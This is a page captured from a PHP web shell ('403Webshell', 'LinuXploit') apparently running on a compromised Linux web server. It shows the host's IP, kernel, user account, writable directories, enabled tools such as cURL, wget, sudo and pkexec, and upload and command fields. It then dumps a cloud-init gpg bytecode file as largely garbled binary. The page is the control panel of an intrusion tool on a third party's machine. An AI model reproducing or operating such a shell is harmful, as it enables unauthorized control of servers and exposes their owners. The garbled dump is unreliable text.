403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/__pycache__/gpg.cpython-36.pyc
3

��bD�@svdZddlZddlmZddlmZeje�Zddddd	gZ	d
d�Z
dd
�Zddd�Zddd�Z
dd�Zddd�ZdS)z0gpg.py - Collection of gpg key related functions�N)�log)�subp�gpgz--with-fingerprintz--no-default-keyringz--list-keysz	--keyringcCsZytjddd|gdd�\}}Wn6tjk
rT}ztjd||�d}WYdd}~XnX|S)z*Export gpg key, armoured key gets returnedrz--exportz--armourT)�capturez&Failed to export armoured key "%s": %sN)r�ProcessExecutionError�LOG�debug)�key�armour�_�error�r
�/usr/lib/python3.6/gpg.py�
export_armoursrcCstjddg|dd�dS)z~Dearmor gpg key, dearmored key gets returned

    note: man gpg(1) makes no mention of an --armour spelling, only --armor
    rz	--dearmorF)�data�decoder)r)r	r
r
r�dearmor'srFcCsNg}|jt�|s|jd�|j|�tj|dd�\}}|rJtjd||�|S)z�List keys from a keyring with fingerprints. Default to a stable machine
    parseable format.

    @param key_file: a string containing a filepath to a key
    @param human_output: return output intended for human parsing
    z
--with-colonsT)rz&Failed to export armoured key "%s": %s)�extend�GPG_LIST�appendrr�warning)Zkey_fileZhuman_output�cmd�stdout�stderrr
r
r�list/s


r�c	 Cs�tjd||�ddd|d|g}|dkr,g}d}d}t|�}x�|d7}y"tj|d	d
�tjd|||�dStjk
r�}z
|}WYdd}~XnXy&t|�}tjd|j|�tj|�Wq>t	k
r�}zt
d
||||f�|�WYdd}~Xq>Xq>WdS)a�Receive gpg key from the specified keyserver.

    Retries are done by default because keyservers can be unreliable.
    Additionally, there is no way to determine the difference between
    a non-existant key and a failure.  In both cases gpg (at least 2.2.4)
    exits with status 2 and stderr: "keyserver receive failed: No data"
    It is assumed that a key provided to cloud-init exists on the keyserver
    so re-trying makes better sense than failing.

    @param key: a string key fingerprint (as passed to gpg --recv-keys).
    @param keyserver: the keyserver to request keys from.
    @param retries: an iterable of sleep lengths for retries.
                    Use None to indicate no retries.z&Importing key '%s' from keyserver '%s'rz--no-ttyz--keyserver=%sz--recv-keysNrrT)rz/Imported key '%s' from keyserver '%s' on try %dz6Import failed with exit code %d, will try again in %ssz@Failed to import key '%s' from keyserver '%s' after %d tries: %s)rr�iterrr�nextZ	exit_code�timeZsleep�
StopIteration�
ValueError)	r	�	keyserverZretriesrZtrynumrZsleeps�eZnaplenr
r
r�recv_keyBs>r#cCsTytjdddd|gdd�Wn2tjk
rN}ztjd||�WYdd}~XnXdS)	z0Delete the specified key from the local gpg ringrz--batchz--yesz
--delete-keysT)rzFailed delete key "%s": %sN)rrrr)r	rr
r
r�
delete_keyss
r$�keyserver.ubuntu.comcCs\t|�}|sXz@yt||d�t|�}Wn"tk
rHtjd|��YnXWdt|�X|S)zget gpg keyid from keyserver)r!zFailed to obtain gpg key %sN)rr#r rZ	exceptionr$)Zkeyidr!r
r
r
r�
getkeybyid}s
r&)F�rr)r')r%)�__doc__rZ	cloudinitrZloggingrZ	getLogger�__name__rrrrrr#r$r&r
r
r
r�<module>s



1

Youez - 2016 - github.com/yon3zu
LinuXploit